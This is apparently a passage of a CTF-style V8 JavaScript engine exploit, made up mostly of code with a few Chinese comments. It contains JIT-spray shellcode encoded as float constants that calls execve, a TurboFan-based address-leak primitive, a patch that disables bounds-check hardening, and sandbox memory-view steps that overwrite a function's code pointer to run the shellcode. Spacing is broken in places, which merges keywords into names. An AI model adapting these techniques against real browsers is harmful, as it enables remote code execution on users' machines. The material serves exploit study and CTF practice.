functionshellcode() { // Promote to ensure not GC during training // JIT spray machine code form of `execve("catflag", NULL, NULL)` return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; }
for(let i = 0; i < 1000; i++)shellcode();
functionGetAddressOf(obj) { let trigger_flag; let arr;
functiontransition() { if (trigger_flag) arr[1] = obj; }
functionopt(arr, i) { for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率, arr[0] = 1.1; if (trigger_flag || i<1) transition();//在正式利用前调用少量次数为其生成字节码 return arr[0]; }
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc index 02a53ebcc21..006351a3f08 100644 --- a/src/compiler/simplified-lowering.cc +++ b/src/compiler/simplified-lowering.cc @@ -1888,11 +1888,11 @@ classRepresentationSelector { if (lower<T>()) { if (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && - index_type.Max() < length_type.Min())) { + index_type.Min() < length_type.Min())) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. // TODO(neis): Move this into TypedOptimization? - if (v8_flags.turbo_typer_hardening) { + if (false/*v8_flags.turbo_typer_hardening*/) { new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds; } else { DeferReplacement(node, NodeProperties::GetValueInput(node, 0));
functionshellcode() { // Promote to ensure not GC during training // JIT spray machine code form of `execve("catflag", NULL, NULL)` return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; } for(let i = 0; i < 1000; i++)shellcode();
functionGetAddressOf(target) {
functionopt_me(i , target_) { let array = [1.1]; let obj = [target_]; i = i & 0xff; f64[0] = array[i]; u32[1] = 0x001cb7f9; //double array map array[i] = f64[0]; return [array, obj, target_]; } for(let i = 0; i<1000000; i++) opt_me(0 , target); let last = opt_me(4 , target); // %DebugPrint(last); let obj_tmp = last[1]; f64[0] = obj_tmp[0]; return u32[0]; }
// Create the special Sandbox object that provides read/write access to the // sandbox address space alongside other miscellaneous functionality. Handle<JSObject> sandbox = factory->NewJSObject(isolate->object_function(), AllocationType::kOld);
// Install the Sandbox object as property on the global object. Handle<JSGlobalObject> global = isolate->global_object(); Handle<String> name = factory->NewStringFromAsciiChecked("Sandbox"); JSObject::AddProperty(isolate, global, name, sandbox, DONT_ENUM); }
if (!args.IsConstructCall()) { isolate->ThrowError("Sandbox.MemoryView must be invoked with 'new'"); return; }
Local<v8::Integer> arg1, arg2; if (!args[0]->ToInteger(context).ToLocal(&arg1) || !args[1]->ToInteger(context).ToLocal(&arg2)) { isolate->ThrowError("Expects two number arguments (start offset and size)"); return; }
if (args.Length() == 0) { isolate->ThrowError("First argument must be provided"); return; }
Handle<Object> arg = Utils::OpenHandle(*args[0]); if (!arg->IsHeapObject()) { isolate->ThrowError("First argument must be a HeapObject"); return; }
// HeapObjects must be allocated inside the pointer compression cage so their // address relative to the start of the sandbox can be obtained simply by // taking the lowest 32 bits of the absolute address. uint32_t address = static_cast<uint32_t>(HeapObject::cast(*arg).address()); args.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address)); }
functionshellcode() { // Promote to ensure not GC during training // JIT spray machine code form of `execve("catflag", NULL, NULL)` return [1.0, 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; }
functionshellcode() { // Promote to ensure not GC during training // JIT spray machine code form of `execve("catflag", NULL, NULL)` for(let i = 0; i < 10000; i++); return [1.0, 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; } for(let i = 0; i < 10000; i++)shellcode();
%DebugPrint(shellcode)
let sandbox_len = Sandbox.byteLength; console.log("sandbox_len-->0x" + hex(sandbox_len));
let shellcode_addr = Sandbox.getAddressOf(shellcode); console.log("shellcode_addr-->0x" + hex(shellcode_addr));
let shellcode_mem = newSandbox.MemoryView(shellcode_addr, 0x1000); let evil_arr1 = newUint32Array(shellcode_mem); let code_addr = evil_arr1[6]; console.log("code_addr-->0x" + hex(code_addr)); evil_arr1[6] = code_addr + 0xa7;
let code_mem = newSandbox.MemoryView(code_addr + 0xa7+ 0x1b, 0x10); let evil_arr2 = newUint32Array(code_mem); console.log("&2000_0000 => 0x" + hex(evil_arr2[0]));